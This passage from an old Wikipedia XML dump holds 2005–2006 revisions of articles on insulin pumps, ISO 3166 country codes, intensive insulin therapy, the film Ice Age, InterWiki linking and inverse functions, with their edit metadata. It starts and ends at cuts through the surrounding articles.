* [http://www.mag-inc.com Magnetic Cores] Good link to magnetic cores.
*[http://www.gass-transformatoren.de/en/frame_wissenswert.htm About Reactors]


;Patents
* '''{{US patent|2415688}}'''  -- &quot;''Induction device''&quot;
[[Category:Electromagnetic components]]

&lt;!-- [[en:Inductor]] --&gt;

[[ca:Inductor]]
[[cs:Cívka]]
[[da:Elektrisk spole]]
[[de:Spule (Elektrotechnik)]]
[[es:Inductor]]
[[fr:Bobine (électricité)]]
[[id:Induktor]]
[[it:Induttore]]
[[he:סליל]]
[[nl:Spoel]]
[[ja:コイル]]
[[pl:Cewka]]
[[sk:Cievka (elektrická súčiastka)]]
[[sl:Dušilka]]
[[fi:Kela (komponentti)]]
[[sv:Spole]]
[[ta:மின் தூண்டி]]
[[zh:电感元件]]</text>
    </revision>
  </page>
  <page>
    <title>Insulin pump</title>
    <id>14899</id>
    <revision>
      <id>42139609</id>
      <timestamp>2006-03-04T02:06:02Z</timestamp>
      <contributor>
        <username>El C</username>
        <id>92203</id>
      </contributor>
      <minor />
      <comment>Reverted edits by [[Special:Contributions/68.144.224.166|68.144.224.166]] ([[User talk:68.144.224.166|talk]]) to last version by Mustard</comment>
      <text xml:space="preserve">[[Image:Insulin_pump.jpg|thumb|right|Insulin pump]]

An '''insulin pump''' is a device used for administering [[insulin]] in the treatment of [[diabetes mellitus]].

The device consists principally of three parts :
* the pump itself including controls, processing module, and [[Battery (electricity)|batteries]]
* delivery tube to carry the insulin
* needle or  more commonly a catheter inserted into the body subcutaneously

The insulin pump delivers a single type of fast-acting insulin in two ways :
* a basal (small) dose that is delivered constantly
* a bolus dose that is delivered before meals or to correct high blood [[glucose]] levels

[[Image:Insulin pump in use.jpg|thumb|right|Insulin pump in use]]

Because a single type of insulin is used, it is easier to determine the effect of a given dose by looking at the delivery profile of that insulin. Insulin pumps also make it possible to deliver much smaller amounts of insulin than can be injected using a syringe.  This provides tighter control over blood sugar and [[HbA1c|Hemoglobin A1c]] levels, reducing the chance of [[Diabetes_mellitus#Long-term_complications|long-term complications]] associated with diabetes.

The amount of insulin delivered for a bolus is determined by the bloodsugar level and the grams of carbohydrates consumed.  In all cases, delivery rates are determined by the user in consultation with his [[endocrinologist]]. Currently there is no means to automatically control the insulin delivery based on the blood glucose level of the user. However, the two main manufacturers of pumps, Medtronic (Paradigm, Minimed), and Roche Diagnostics (Disetronic H-Tron and D-Tron) are testing the concept of a closed-loop system but even if the concept is as promising as it appears there remains the legal problem of what happens if the system is incorrect. For example, continuous blood glucose monitoring technology can report very wide variances of blood glucose. Using the non-US measuring system of mmol/l a closed-system that detects glucose of say, 15 mmol/l might dispense 10u of fast acting insulin. If the patient has an actual glucose of 6 mmol/l (within the accepted glycaemic range), those 10 units of insulin could very quickly lead to hypoglycaemic [[coma]] which if not recognised and treated can kill very quickly. There is a lot more research to do on CBGM technology but the first closed-loop systems may be made available for clinical trials by mid-2006.

Use of insulin pumps is increasing as it provides an easier means to deliver multiple insulin injections for those using [[intensive insulinotherapy]]. It's also interesting to note that because of differences in health insurance and public funding, the US has about 150,000 pump users. In the UK, where public funding is limited, most patients have to self-finance their pumps. Because of this, there are maybe 1100 pump users in the UK by comparison.

==References==

* [http://www.diabetescaregroup.info/category/insulin-pump/ Diabetes Care Group blog on insulin pumps]

* [http://www.diabetes.org/type-1-diabetes/insulin-pumps.jsp American Diabetes Association guide to insulin pumps]

* [http://www.medicinenet.com/insulin_pump_for_diabetes_mellitus/article.htm Medicine.net guide for insulin pumps]

[[Category:Medical pumps]]
[[Category:Diabetes]]

[[cs:Inzulínová pumpa]]
[[he:משאבת אינסולין]]</text>
    </revision>
  </page>
  <page>
    <title>ISO 3166</title>
    <id>14900</id>
    <revision>
      <id>31277838</id>
      <timestamp>2005-12-14T02:35:41Z</timestamp>
      <contributor>
        <username>Agentsoo</username>
        <id>80866</id>
      </contributor>
      <minor />
      <comment>[[:en:Wikipedia:Tools/Navigation_popups|Popups]]-assisted disambiguation from [[Standard]] to [[standardization]]</comment>
      <text xml:space="preserve">'''[[International Organization for Standardization|ISO]] 3166''' is a three-part [[geographic coding]] [[standardization|standard]] for [[code|coding]] the names of [[country|countries]] and [[dependent area]]s, and the principal [[country subdivision|subdivisions]] thereof. 

*[[ISO 3166-1]] codes for country and dependent area names, first published in [[1974]]
**[[ISO 3166-1 alpha-2]] the famous two-letter [[country code]]s 
**[[ISO 3166-1 alpha-3]] three-letter country codes
**[[ISO 3166-1 numeric]] three-digit country codes 
*[[ISO 3166-2]] defines codes for the principal subdivisions of a country or dependent area. 
**[[ISO 3166-2:2000-06-21]] Newsletter I-1
**[[ISO 3166-2:2002-05-21]] Newsletter I-2
**[[ISO 3166-2:2002-08-20]] Newsletter I-3
**[[ISO 3166-2:2002-12-10]] Newsletter I-4
**[[ISO 3166-2:2003-09-05]] Newsletter I-5
**[[ISO 3166-2:2004-03-08]] Newsletter I-6
**[[ISO 3166-2:2005-09-13]] Newsletter I-7
*[[ISO 3166-3]] defines codes for superseded ISO 3166-1 codes, first published in [[1998]].

==See also==
*[[Nomenclature of Territorial Units for Statistics]]
*[[Federal Information Processing Standard]]
*[[ISO 639]] (codes for languages)
*[[List of international license plate codes]]

==External links==
* From [[International Organization for Standardization|ISO]] website
** [http://www.iso.org/iso/en/prods-services/iso3166ma/index.html The ISO 3166/MA-Secretariat]
** [http://www.iso.org/iso/en/prods-services/iso3166ma/04background-on-iso-3166/you-and-iso3166.html ISO 3166 and You]
** [http://www.iso.org/iso/en/prods-services/iso3166ma/04background-on-iso-3166/implementations-of-iso3166-1.html Implementations of ISO 3166-1]
* [http://www.unc.edu/~rowlett/units/codes/country.htm Country Codes]
* [http://www.statoids.com/wab.html Country Codes with comparison]

[[Category:ISO standards|#03166]]

&lt;!--http://vs.aka-online.de/globalwpsearch/--&gt;

[[cs:ISO 3166-1]]
[[da:ISO 3166]]
[[de:ISO 3166]]
[[es:ISO 3166]]
[[eo:Landokodoj]]
[[fr:ISO 3166]]
[[ko:ISO 3166]]
[[id:ISO 3166]]
[[is:ISO 3166-1]]
[[it:ISO 3166-1]]
[[nl:ISO 3166-1]]
[[ja:ISO 3166]]
[[no:ISO 3166]]
[[pl:ISO 3166-1]]
[[pt:ISO 3166]]
[[ru:ISO 3166]]
[[sk:ISO 3166-1]]
[[sl:ISO 3166]]
[[fi:ISO 3166]]
[[sv:ISO 3166]]
[[tt:ISO 3166]]
[[th:ISO 3166-1]]
[[zh:ISO 3166-1]]</text>
    </revision>
  </page>
  <page>
    <title>Interactive Fiction</title>
    <id>14902</id>
    <revision>
      <id>15912429</id>
      <timestamp>2002-02-25T15:51:15Z</timestamp>
      <contributor>
        <ip>Conversion script</ip>
      </contributor>
      <minor />
      <comment>Automated conversion</comment>
      <text xml:space="preserve">#REDIRECT [[Interactive_fiction]]
</text>
    </revision>
  </page>
  <page>
    <title>Ism</title>
    <id>14903</id>
    <revision>
      <id>21008549</id>
      <timestamp>2005-08-14T18:31:29Z</timestamp>
      <contributor>
        <username>Malcolm Farmer</username>
        <id>135</id>
      </contributor>
      <minor />
      <comment>Reverted edits by [[Special:Contributions/142.104.250.115|142.104.250.115]] to last version by Timwi</comment>
      <text xml:space="preserve">#REDIRECT [[-ism]]</text>
    </revision>
  </page>
  <page>
    <title>Intensive insulinotherapy</title>
    <id>14904</id>
    <revision>
      <id>38692862</id>
      <timestamp>2006-02-08T00:33:25Z</timestamp>
      <contributor>
        <username>Ανδρέας</username>
        <id>469010</id>
      </contributor>
      <comment>/* Semantics of changing care: why &quot;flexible&quot; is replacing &quot;intensive&quot; therapy */ remove editor's comment</comment>
      <text xml:space="preserve">'''Intensive insulinotherapy''' or '''flexible insulin therapy''' is a therapeutic regimen for [[diabetes mellitus]] treatment.&lt;br&gt;In North America in 2004, many endocrinologists prefer the term &quot;flexible insulin therapy&quot; to intensive therapy and use it to refer to any method of replacing [[insulin]] that attempts to mimic the pattern of insulin secretion of a working pancreas. See at end of article for how semantic distinctions reflect changing treatment.

===Rationale for intensive or flexible treatment===
Long-term studies like the [[UK Prospective Diabetes Study]] (''UKPDS'') and the [[Diabetes Control and Complications Trial]] (''DCCT'') showed that '''intensive insulinotherapy''' achieved blood glucose levels closer to non-diabetic people and that this was associated with reduced frequency and severity of blood vessel damage. Damage to large and small blood vessels ([[macroangiopathy|macro-]] and [[diabetic microangiopathy| microvascular damage]]) is central to the development of [[diabetic complications|complications of diabetes mellitus]].

This evidence convinced most physicians who specialize in diabetes care that an important goal of treatment is to make the biochemical profile of the diabetic patient (blood lipids, HbA1c, etc.) as close to the values of non-diabetic people as possible. This is especially true for young patients with many decades of life ahead.

===A general description of intensive or flexible therapy===
A working pancreas continually secretes small amounts of insulin into the blood to prevent the body from shifting into &quot;starvation metabolism.&quot; This insulin is referred to as ''basal insulin secretion''.

However, most insulin produced each day is produced during the digestion of meals. Insulin levels rise immediately as we begin to eat, remaining higher than the basal rate for 1 to 4 hours. This meal-associated (''prandial'') insulin production is roughly proportional to the amount of carbohydrate in the meal.

Intensive or flexible therapy involves supplying a continual supply of insulin to serve as the ''basal insulin'', supplying meal insulin in doses proportional to the size of the meals, and supplying extra insulin when needed to correct high glucose levels. These three components of the insulin regimen are commonly referred to as basal insulin, meal insulin, and high correction.

====Two common intensive/flexible regimens: pens and pumps====
One method of '''intensive insulinotherapy''' is based on multiple daily injections (sometimes referred to in medical literature as ''MDI''). Meal insulin is supplied by injection of rapid acting insulin before each meal in an amount proportional to the size of the meal. Basal insulin is provided as a once or twice daily injection of dose of a long acting insulin.

In an MDI regimen, [[insulin glargine]] (brandname: ''Lantus'', made by [[Aventis]]) is the long-acting insulin currently preferred for basal insulin. An older insulin used for this purpose is ultralente. ''Levemir'', made by [[Novo]], is another long-acting insulin in trials. Rapid-acting insulin analogs such as [[lispro]] (brandname: ''Humalog'', made by [[Eli Lilly and Company]]) and [[aspart]] (brandname: ''Novolog'', made by Novo) are preferred over older regular insulin for meal coverage and high correction. Most people using MDI regimens carry [[insulin pen]]s to inject their rapid acting insulins instead of traditional [[syringe]]s.

The other method of intensive/flexible insulin therapy is an [[insulin pump]].  It is a small mechanical device about the size of a deck of cards. It contains a syringe-like reservoir of about 3 days' insulin supply. This is connected by thin, disposable, plastic tubing to a needle-like &quot;infusion device&quot; inserted into the patient's skin and held in place by an adhesive patch. The infusion tubing and needle must be removed and replaced every few days.

An insulin pump can be programmed to infuse a steady amount of rapid-acting insulin under the skin. This steady infusion is termed the basal rate and is designed to supply the basal insulin needs. Each time the patient eats, he or she must press a button on the pump to instruct the pump to give a specified number of units of insulin to cover that meal. Extra insulin is also given the same way to correct a high glucose reading. Current pumps do not include a glucose sensor and cannot automatically respond to meals or to rising or falling glucose levels.

Both MDI and pumping can achieve similarly excellent glycemic control. Some people prefer pens because they are less expensive than pumps and do not require the wearing of a continually attached device. A primary advantage of pumps is the freedom from syringes and injections.

Intensive/flexible insulin therapy requires frequent blood glucose checking
To achieve the best balance of blood sugar with either intensive/flexible method a patient must check his or her glucose level with a meter [[blood glucose monitoring|monitoring of blood glucose]] several times a day. This allows optimization of the basal insulin and meal coverage as well as correction of the occasional high glucose.

===Advantages and disadvantages of intensive/flexible insulin therapy===
For most people with diabetes, the two primary advantages of intensive/flexible therapy over more traditional 2 or 3 injection regimens are greater flexibility of timing and amounts of meals, and better glycemic control. Major disadvantages of intensive/flexible therapy are that it requires greater amounts of education and effort to achieve the goals, and it substantially increases the daily cost of diabetes care.

It is a common misconception that more frequent hypoglycemia is a disadvantage of intensive/flexible regimens. The frequency of hypoglycemia increases with increasing effort to achieve normal blood glucoses with any insulin regimen. When traditional regimens are used aggressively enough to achieve near-normal hemoglobin A1c levels, hypoglycemia is at least as frequent as with flexible regimens. When used correctly, flexible regimens offer greater ability to achieve good glycemic control with easier accommodation to variations of eating and physical activity.    

===Semantics of changing care: why &quot;flexible&quot; is replacing &quot;intensive&quot; therapy===
Over the last two decades, the evidence that better glycemic control (i.e., keeping blood glucose and HbA1c levels as close to normal as possible) reduces the rates of many complications of diabetes has become overwhelming. As a result, diabetes specialists have expended increasing effort to help most people with diabetes achieve blood glucose levels as close to normal as achievable. It takes about the same amount of effort to achieve good glycemic control with a traditional 2 or 3 injection regimen as it does with flexible therapy: frequent glucose monitoring, attention to timing and amounts of meals.  Many diabetes specialists no longer think of flexible insulin therapy as &quot;intensive&quot; or &quot;special&quot; treatment for a select group of patients but simply as standard care for most patients with [[diabetes mellitus type 1|type 1 diabetes]].

See also: [[conventional insulinotherapy]], [[diabetes mellitus]].</text>
    </revision>
  </page>
  <page>
    <title>Ice Age (film)</title>
    <id>14905</id>
    <revision>
      <id>41975831</id>
      <timestamp>2006-03-03T00:09:12Z</timestamp>
      <contributor>
        <username>Static3d</username>
        <id>186744</id>
      </contributor>
      <comment>rv vandalism by [[user:Jim745]]</comment>
      <text xml:space="preserve">{{Infobox Film |
  name     = Ice Age|
  image          = IceAge.png |
  director       = [[Chris Wedge]]&lt;br&gt;[[Carlos Saldanha]] |
  producer       = [[John C. Donkin]]&lt;br&gt;[[Lori Forte]]&lt;br&gt;[[Christopher Meledandri]] |
  writer         = [[Michael J. Wilson]]&lt;br&gt;[[Michael Berg]] |
  starring       = [[Ray Romano]]&lt;br&gt;[[John Leguizamo]]&lt;br&gt;[[Dennis Leary]] |
  distributor    = [[20th Century Fox]] |
  released   =     [[March 12]], [[2002]] ([[United States|U.S.]])&lt;br&gt;[[DVD]]: [[November 26]], [[2002]]|
  runtime        = 81 min |
  language = English |
  imdb_id        = 0268380|
  music          = [[David Newman]] |
  awards         = |
  budget         = $60,000,000 (est)|
}}
:''This article is about a film. For information on continental glaciation, see [[Ice age]].''

'''''Ice Age''''' is a feature-length [[computer animation|computer-animated]] [[film]] created by [[Blue Sky Studios]] and released by [[20th Century Fox]] in [[2002 in film|2002]]. It was directed by [[Carlos Saldanha]] and [[Chris Wedge]] from a story by [[Michael J. Wilson]]. A [[sequel]] is currently in production called ''[[Ice Age 2: The Meltdown]]'' ([[2006 in film|2006]]).

==Characters==
The characters are all [[prehistory|prehistoric]] animals with the exception of some non-speaking early humans (who bear some Neanderthal-like facial features, but are technologically much more sophisticated).  The animals can talk to and understand each other and are voiced by a variety of famous [[actor]]s.
*Manfred ([[mammoth]]) - [[Ray Romano]]
*Sid ([[Giant sloth]]) - [[John Leguizamo]]
*Diego ([[smilodon]]) - [[Denis Leary]]
*Soto (smilodon) - [[Goran Visnjic]]
*Zeke (smilodon) - [[Jack Black (actor)|Jack Black]]
*Scrat ([[squirrel]]-[[rat]]) - [[Chris Wedge]]
*Smilodon - [[Diedrich Bader]]
*Carl - [[Cedric the Entertainer]]
* Frank- [[Stephen Root]]
*Female sloth - [[Jane Krakowski]]
*Female sloth - [[Lorri Bagley]]

==Plot==
{{spoiler}}

After an attack by a pack of [[saber-toothed cat]]s (Soto, the leader, with Diego, Zeke and two others) a camp of hunter-gatherer humans try to protect their women and children.  Jumping into a raging river with her baby, one woman is dragged downstream.  She manages to place the infant on an embankment but is too drained to climb out of the water herself.  Soto orders Diego to find the baby and bring it to him alive.

Meanwhile the animals are all trying to avoid the coming ice age by retreating to warmer climates.  Left by his family, Sid, a clumsy [[Sloth]], is rescued from two rhinoceroses by Manfred, one of the last remaining mammoths.  Not wanting to be alone Sid follows Manfred, much to the mammoth's annoyance.

Sid and Manfred spot the baby on the side of the river and decide to return it to its tribe, but when they get there the humans have already left.  Diego, still trying to pinch the baby, convinces the pair that he knows where the humans are going and begins leading Sid and Manfred to find them.

The trio take the baby across an assortment of different terrains and into several comedic situations. These include an army of [[dodo]]s trying to escape extinction by eating [[watermelons]]; the trio venturing into a series of ice caves where they discover all sorts of odd things including a frozen [[Tyrannosaurus Rex]] and even a [[UFO]]. In the end, Diego learns that it is wrong to harm a child and helps Manny and Sid help the baby back to his father. We also learn that Manny does not trust humans as they killed his wife and child. 

At the end of the film, Diego, Manny and Sid battle Diego's pack and manage to return the baby to his father, before heading off to escape the Ice Age.

There is also a subplot where an animal named Scrat (compare a [http://www.asifa-hollywood.org/hello/603205/400/scrat-2005.03.12-16.43.03.jpg picture of Scrat] and [http://www.ryanphotographic.com/images/JPEGS/Tree%20shrew.jpg one of a tree shrew]), makes many comical attempts to bury his beloved [[acorn]]. His misfortunes include getting chased by an enormous [[glacier]], being struck by [[lightning]], and later getting cryogenically frozen in an ice cube along with a nut. 20,000 years into the future, the ice cube washes up on the shore of an island. The sun slowly melts the cube, thawing Scrat and the ice surrounding his acorn, which is barely out of reach, and ends up being removed from the ice cube by the tide. Scrat then explodes in anger and hits his head on a tree, which drops a [[coconut]]. Scrat's anger immediately turns to glee at this new find. He tries to pack it into the ground as he did previously with his acorns, but in the process causes a volcanic eruption. Scrat also gets his own short film entitled [[Gone Nutty]], where he loses his meticulously-organized collection of acorns in a catastrophic chain of events occurring after ramming his acorn into the hole in the exact middle of the collection.

Alert viewers will notice the plot has some similarity to [[The Walt Disney Company|Disney]]'s animated version of ''[[The Jungle Book (1967 film)|The Jungle Book]]'' ([[1967]]).

==Soundtrack==
The soundtrack features songs such as &quot;Send Me on My Way&quot; by [[Rusted Root]].  The [[Japan]]ese release's theme song is &quot;Hitoshizuku&quot; by [[ZONE (band)|ZONE]].

==Controversy==
[[Ivy Supersonic]] claims the &quot;Scrat&quot; character concept is a trademark infringement on her &quot;Sqrat&quot; as reported in 2002 on [[CNN]] by [[Jeanie Moos]]. Ivy's Sqrat is a combination character concept of a [[Squirrel]] and a [[Rat]] as new species and Ivy is credited with coining that term for New Yorkers to describe Central Park rodents in 2000, and a small product line of related items was available at that time. Since her trademark was established prior to the movie release of ''Ice Age'', it would appear that [[20th Century Fox]] attempted to skirt the concept, look and feel, and trademark by naming their adaptation as a &quot;Scrat&quot; spelled with a &quot;c&quot; rather than a &quot;q&quot;, but the Squirrel/Rat composite was applied to the character now in the ''Ice Age'' movie. It is reported that [[Chris Wedge]] presented the &quot;Scrat&quot; after exposure to Ivy's Sqrat, and the movie producers liked it enough to take the risks associated with similarity to Ivy's Sqrat.  This has spawned a heated debate in and out of court that is on-going. Please refer to http://scrat.com. 

Counterpoint: Ivy [http://www.uspto.gov/ trademarked] the term &quot;sqrat&quot; in Nov. 2001, by which time the character design, name, and preliminary sketches of the character Scrat had already been completed (Ivy includes raw sketches of the final Scrat, dated Sep. 2001 on her site). [[20th Century Fox]] changed the character name from Sqrat to Scrat, but since the creature is not described and the proper name Sqrat does not infringe on the descriptive term sqrat, they were not in actual trademark infringement. Trademark law protects uniquely specific logos and phrases, not unique pictures or artwork, which fall under copyright law. Ivy first filed a [http://www.copyright.gov/records/ copyright] on her drawing of a sqrat in Dec. 2001. Since the character design of her sqrat bears little resemblance to the character design already finalized in Sep. 2001, 20th Century Fox did not infringe on this registration either. While it may be true that Ivy coined the term and drew 2 logos in 1999, she tried to sell the concept to Hollywood before properly registering either trademark or copyright, and some Hollywood people used her concept as a starting point for their own unique work. 

[[Conservative Christians]] have criticized the movie for allegedly promoting [[evolution]] and referencing to [[homosexuality]] in a few scenes, such as the pair of rhino-like animals which have a strong dislike for Sid the sloth.

==Factual accuracy==
The film has numerous [[anachronism]]s and factual errors, though the creators can claim [[artistic license]]. Probably the most glaring anachronism is the portrayed fate of the [[dodo]] which, unlike the other animals in the movie, did not actually become extinct until modern times.  
==External links==
*{{imdb title|id=0268380|title=Ice Age}}

[[Category:2002 films]]
[[Category:Anthropomorphic films]]
[[Category:Films about animals]]
[[Category:Computer-animated films]]
[[Category:Children's films]]

[[de:Ice Age]]
[[fr:L'Âge de glace]]
[[pl:Epoka lodowcowa (film)]]</text>
    </revision>
  </page>
  <page>
    <title>InterWiki</title>
    <id>14906</id>
    <revision>
      <id>39632881</id>
      <timestamp>2006-02-14T20:42:35Z</timestamp>
      <contributor>
        <username>Kaiwen1</username>
        <id>508893</id>
      </contributor>
      <minor />
      <comment>/* External links */  Remove dead link</comment>
      <text xml:space="preserve">'''InterWiki''' is a facility for creating links to the many [[wiki wiki web]]s on the [[World Wide Web]]. Users avoid pasting in entire [[URL]]s (as they would for regular web pages) and instead use a shorthand similar to links within the same wiki.


Unlike [[domain name]]s on the Internet, there is not a globally defined list of InterWiki prefixes &amp;mdash; and owners of a wiki must define a mapping appropriate to their needs.  Users generally have to create separate accounts for each wiki they intend to use (unless they intend to edit anonymously).  Variations in text formatting and layout can also hinder a seamless transition from one wiki to the next.

By making wiki links simpler to type for the members of a particular community, these features help bring the different wikis closer together. Furthering that goal, InterWiki &quot;bus tours&quot; (similar to [[webring]]s) have been created to explain the purposes and highlights of different wikis. Such examples on [[Wikipedia]] include [[Wikipedia:TourBusStop]] and [[Wikipedia:WikiNode]].

==Notations==

InterWiki notations vary, depending largely on what kind of ''link pattern'' a wiki uses. The two most common link patterns in wikis are [[CamelCase]] and free links (arbitrary phrases surrounded by some set [[delimiter]], such as &lt;nowiki&gt;[[double square brackets]]&lt;/nowiki&gt;). 

Accordingly, InterWiki links on a CamelCase-based wiki frequently take the form of &quot;Code:PageName&quot;, where ''Code'' is the defined InterMap prefix for another wiki. Thus, a link &quot;WikiPedia:InterWiki&quot; could be rendered in [[HTML]] as a link to an article on [[Wikipedia]] for example [[Wikipedia:Interlanguage links]]. Linking from a CamelCase-wiki to a page that contains spaces in its title typically requires substitution of the spaces with underscores (e.g. WikiPedia:Main_Page).

InterWiki links on wikis based on free links, such as Wikipedia, typically follow the same principle, but using the delimiters that would be used for internal links. These links can then be parsed and escaped as they would be if they were internal, allowing easier typing of spaces but potentially causing problems with other special characters. For example, on Wikipedia, &lt;code&gt;&lt;nowiki&gt;[[MeatBall:AssumeGoodFaith]]&lt;/nowiki&gt;&lt;/code&gt; appears as [[MeatBall:AssumeGoodFaith]], and  &lt;code&gt;&lt;nowiki&gt;[[:de:InterWiki]]&lt;/nowiki&gt;&lt;/code&gt; (former syntax: &lt;code&gt;&lt;nowiki&gt;[[DeWikipedia:InterWiki]]&lt;/nowiki&gt;&lt;/code&gt;) appears as [[:de:InterWiki]].

The [[MediaWiki]] software has an additional feature which uses similar notation to create automatic interlanguage links - for instance, the link &lt;code&gt;&lt;nowiki&gt;[[de:InterWiki]]&lt;/nowiki&gt;&lt;/code&gt; (with no leading colon) automatically creates a reference labelled &quot;Other languages: [[:de:InterWiki|Deutsch]] | ...&quot; at the top and bottom of the article display. Various other [[wiki software]] systems have features for &quot;semi-internal&quot; links of this kind, such as support for [[namespace]]s or multiple sub-communities.

==Implementation==

Internally, a wiki that uses InterWiki links needs to have an &quot;InterMap&quot; that defines the mapping from wiki-code links to full URLs. For example, &lt;code&gt;&lt;nowiki&gt;[[MeatBall:InterWiki]]&lt;/nowiki&gt;&lt;/code&gt; might appear as [[MeatBall:InterWiki]], but link to &lt;code&gt;http://usemod.com/cgi-bin/mb.pl?InterWiki&lt;/code&gt;.

Since most wiki systems use URLs for individual pages where the page's title appears at the end of an otherwise unchanging address, the simplest way of defining such mappings is by substituting the InterWiki prefix for the unchanging part of the URL. So in the example above, the &lt;code&gt;MeatBall:&lt;/code&gt; has simply been replaced by &lt;code&gt;&lt;nowiki&gt;http://usemod.com/cgi-bin/mb.pl?&lt;/nowiki&gt;&lt;/code&gt; in creating the target of the [[HTML]] rendered link.

Care must be taken, however, in the handling of special characters - both those that violate local link pattern rules, and those that must be represented specially in crafting a URL for the target system. So a CamelCase-based wiki must make special provision for recognising that non-[[alphanumeric]] characters can be part of an InterWiki link, and even a free link based system may disallow local links containing characters such as '+' or '&quot;' for technical reasons. Similarly, characters such as '?' and '&amp;amp;' are treated specially within URLs and may need to be converted into some other representation, as might unusual characters when linking between sites using different [[character encoding]]s.

However, rather than creating a new list from scratch for every wiki, it is often useful to obtain a copy of that from another site. Sites such as [[MeatballWiki]] [http://www.usemod.com/cgi-bin/mb.pl?InterMap] and the [[UseModWiki]] site contain comprehensive lists which are often used for this purpose - the former being publicly editable in the same way as any other wiki page, and the latter being verified as usable but potentially out of date.

MeatballWiki uses a mechanism called [[FileReplacement]] to directly use the openly editable InterWiki map for its own pages. Changes to that map do not take effect immediately, but the InterMap configuration file is re-generated if the wiki page remains unedited for a defined period of time. This delay is intended to assure proper review of all changes to the map while not preventing open editing.

==Shorthand for non-wiki sites==

Most InterMap implementations simply substitute the InterWiki prefix with a full URL prefix, so many non-wiki websites can also be referred to using the system. A reference to a definition on the [[Free On-line Dictionary of Computing]], for instance, could take the form &lt;code&gt;&lt;nowiki&gt;[[Foldoc:foo]]&lt;/nowiki&gt;&lt;/code&gt; which would tell the system to append &quot;foo&quot; to &quot;http://www.foldoc.org/foldoc/foldoc.cgi?&quot;, and display the link as [[Foldoc:foo]]. This makes it very easy to link to commonly referenced resources from within a wiki page, without the need to even know the form of the URL in question.

The InterWiki concept can equally be applied to links ''from'' non-wiki websites. [[Advogato]], for instance, offers a syntax for creating shorthand links based on a MeatBall-derived InterMap.

==External links==

* [[meta:Interwiki map|Wikimedia's InterWiki map]]
* [[MeatBall:InterMap|Discussion of the InterWiki concept]] at [[MeatballWiki]]
* [[MeatBall:FileReplacement|Discussion of the FileReplacement concept]]

&lt;!-- Interwikis found using http://vs.aka-online.de/globalwpsearch/ --&gt;
[[id:Wikipedia:InterWiki]]
[[de:InterWiki]]
[[fr:InterWiki]]
[[ko:인터위키]]
[[nl:Wikipedia:Interwiki]]
[[ja:インターウィキ]]
[[ru:Википедия:Интервики]]
[[sv:Interwiki]]
[[pl:Interwiki]]
[[tr:InterWiki]]


[[Category:Wiki]]</text>
    </revision>
  </page>
  <page>
    <title>Inverse function</title>
    <id>14907</id>
    <revision>
      <id>39111438</id>
      <timestamp>2006-02-10T20:13:08Z</timestamp>
      <contributor>
        <username>Banus</username>
        <id>404904</id>
      </contributor>
      <minor />
      <text xml:space="preserve">In [[mathematics]], an '''inverse function''' is in simple terms a [[function (mathematics)|function]] which &quot;does the reverse&quot; of a given function. More formally, if ''f'' is a function with domain ''X'', then ''f''&lt;sup&gt; &amp;minus;1&lt;/sup&gt; is its inverse function if and only if for every &lt;math&gt;x \in X&lt;/math&gt; we have:

: &lt;math&gt;f^{-1}(f(x))=f(f^{-1}(x))=x.\,&lt;/math&gt;

For example, if the function ''x'' &amp;rarr; 3''x'' + 2 is given, then its inverse function is ''x'' &amp;rarr; (''x''&amp;minus;2) / 3. This is usually written as:

: &lt;math&gt;f\colon x\to 3x+2&lt;/math&gt;
: &lt;math&gt;f^{-1}\colon x\to(x-2)/3&lt;/math&gt;

The superscript &quot;&amp;minus;1&quot; is not an exponent. Similarly, as long as we are not in [[trigonometry]], ''f'' &lt;sup&gt; 2&lt;/sup&gt;(''x'') means &quot;do ''f'' twice&quot;, that is  ''f''(''f''(''x'')), not the square of ''f''(''x''). For example, if : ''f'' : ''x'' &amp;rarr; 3''x'' + 2, then ''f'' &lt;sup&gt; 2&lt;/sup&gt; : ''x'' = 3&amp;nbsp;((3''x'' + 2)) + 2, or 9''x'' + 8. However, in trigonometry, for historical reasons, sin&lt;sup&gt;2&lt;/sup&gt;(''x'') usually ''does'' mean the square of sin(''x''). As such, the prefix ''arc'' is sometimes used to denote [[inverse trigonometric function]]s, e.g. arcsin&amp;nbsp;''x'' for the inverse of sin(''x'').

If a function ''f'' has an inverse then ''f'' is said to be '''invertible'''.
=== Simplifying rule ===

Generally, if ''f''(''x'') is any function, and ''g'' is its inverse, then ''g''(''f''(''x'')) = ''x'' and ''f''(''g''(''x'')) = ''x''. In other words, an inverse function undoes what the original function does. In the above example, we can prove ''f''&lt;sup&gt;&amp;minus;1&lt;/sup&gt; is the inverse by substituting (''x''&amp;nbsp;&amp;minus;&amp;nbsp;2) / 3 into ''f'', so
: 3(''x'' &amp;minus; 2) / 3 + 2 = ''x''.
Similarly this can be shown for substituting ''f'' into ''f''&lt;sup&gt;&amp;minus;1&lt;/sup&gt;.

Indeed, an equivalent definition of an inverse function ''g'' of ''f'', is to require that ''g''&amp;nbsp;&lt;small&gt;o&lt;/small&gt;&amp;nbsp;''f'' be the [[identity function]] on the [[Domain (mathematics)|domain]] of ''f'', and ''f''&amp;nbsp;&lt;small&gt;o&lt;/small&gt;&amp;nbsp;''g'' be the identity function on the [[codomain]] of ''f'', where &quot;&lt;small&gt;o&lt;/small&gt;&quot; represents [[function composition]].

=== Existence ===

For a function ''f'' to have a valid inverse, it must be a [[bijection]], that is:
* (''f'' is [[onto]]) each element in the [[codomain]] must be &quot;hit&quot; by ''f'': otherwise there would be no way of defining the inverse of ''f'' for some elements.
* (''f'' is [[one-to-one]]) each element in the codomain must be &quot;hit&quot; by ''f'' only once: otherwise the inverse function would have to send that element back to more than one value.

If ''f'' is a real-valued function, then for ''f'' to have a valid inverse, it must pass the [[horizontal line test]], that is a horizontal line &lt;math&gt;y=k&lt;/math&gt; placed on the graph of ''f'' must pass through ''f'' exactly once for all real ''k''.

It is possible to work around this condition, by redefining ''f'''s codomain to be precisely its [[range]], and by admitting a multi-valued function as an inverse.

If one represents the function ''f'' graphically in an ''x''-''y'' [[cartesian coordinate system|coordinate system]], then the graph of ''f''&lt;sup&gt; &amp;minus;1&lt;/sup&gt; is the reflection of the graph of ''f'' across the line ''y'' = ''x''.

Algebraically, one computes the inverse function of ''f'' by solving the equation 
: &lt;math&gt;y=f(x)&lt;/math&gt;
for ''x'', and then exchanging ''y'' and ''x'' to get
:&lt;math&gt;y=f^{-1}(x)&lt;/math&gt;
This is not always easy; if the function ''f''(''x'') is [[analytic function|analytic]], the [[Lagrange inversion theorem]] may be used.

The symbol &lt;var&gt;f&lt;/var&gt;&lt;sup&gt; &amp;minus;1&lt;/sup&gt; is also used for the (set valued) function associating to an element or a subset of the codomain, the [[inverse image]] of this subset (or element, seen as a [[singleton (mathematics)|singleton]]).

==See also==

